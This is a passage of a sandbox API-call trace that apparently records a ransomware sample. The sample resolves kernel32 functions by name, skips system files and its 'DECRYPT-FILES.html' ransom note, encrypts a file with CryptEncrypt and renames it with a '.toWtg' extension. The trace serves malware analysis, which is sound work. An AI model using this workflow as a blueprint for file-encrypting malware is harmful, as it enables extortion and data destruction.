(in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0116.149] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0116.149] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0116.149] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0116.149] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0116.149] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0116.149] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0116.149] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0116.149] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0116.149] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0116.149] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0116.149] lstrlenA (lpString="CREATETHREAD") returned 12 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0116.149] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0116.150] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0116.150] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0116.150] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0116.150] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0116.150] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0116.150] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0116.150] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0116.150] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0116.150] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0116.150] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0116.150] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0116.150] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0116.150] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1029\\eula.rtf.toWtg") returned 41 [0116.150] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.toWtg" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.towtg"), dwFlags=0x0) returned 1 [0116.151] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.152] VirtualFree (lpAddress=0x3c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.152] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.152] FindNextFileW (in: hFindFile=0x707ab8, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0116.152] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0116.152] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0116.152] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0116.152] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0116.152] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0116.153] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0116.153] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0116.153] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0116.153] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0116.153] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0116.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\") returned 27 [0116.153] lstrlenW (lpString="LocalizedData.xml") returned 17 [0116.153] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1029\\" | out: lpString1="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0116.153] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" [0116.153] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0116.153] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0116.154] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=80970) returned 1 [0116.154] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0116.154] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3c60000 [0116.549] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x31c0000 | out: pbBuffer=0x31c0000) returned 1 [0116.549] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x31c0020 | out: pbBuffer=0x31c0020) returned 1 [0116.549] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0116.911] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x38c0000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x38c0000*, pdwDataLen=0x38be718*=0x100) returned 1 [0116.912] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3c80000 [0117.047] VirtualFree (lpAddress=0x3c80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.047] UnmapViewOfFile (lpBaseAddress=0x3c60000) returned 1 [0117.048] CloseHandle (hObject=0x5f8) returned 1 [0117.048] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.048] WriteFile (in: hFile=0x5f4, lpBuffer=0x38c0000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x38c0000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0117.049] CloseHandle (hObject=0x0) returned 0 [0117.049] CloseHandle (hObject=0x5f4) returned 1 [0117.052] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.053] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.053] GetTickCount () returned 0x32b66 [0117.053] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0117.053] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0117.053] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0117.054] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3c60000 [0117.054] lstrlenA (lpString="kernel32.dll") returned 12 [0117.054] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0117.054] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0117.054] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0117.054] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0117.054] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0117.054] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0117.054] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0117.054] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0117.054] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0117.054] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0117.054] lstrlenA (lpString="ADDATOMA") returned 8 [0117.054] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0117.054] lstrlenA (lpString="ADDATOMW") returned 8 [0117.054] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0117.054] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0117.054] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0117.054] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0117.054] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0117.054] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0117.054] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0117.054] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0117.054] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0117.055] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0117.055] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0117.055] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0117.055] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0117.055] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0117.055] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0117.055] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0117.055] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0117.055] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0117.055] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0117.055] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0117.055] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0117.055] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0117.055] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0117.055] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0117.055] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0117.055] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0117.055] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0117.055] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0117.055] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0117.055] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0117.056] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0117.056] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0117.056] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0117.056] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0117.056] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0117.056] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0117.056] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0117.056] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0117.056] lstrlenA (lpString="BACKUPREAD") returned 10 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0117.056] lstrlenA (lpString="BACKUPSEEK") returned 10 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0117.056] lstrlenA (lpString="BACKUPWRITE") returned 11 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0117.056] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0117.056] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0117.056] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0117.056] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0117.056] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0117.056] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0117.056] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0117.056] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0117.056] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0117.056] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0117.057] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0117.057] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0117.057] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0117.057] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0117.057] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0117.057] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0117.057] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0117.057] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0117.057] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0117.057] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0117.057] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0117.057] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0117.057] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0117.057] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0117.057] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0117.057] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0117.057] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0117.057] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0117.057] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0117.057] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0117.057] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0117.057] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0117.058] 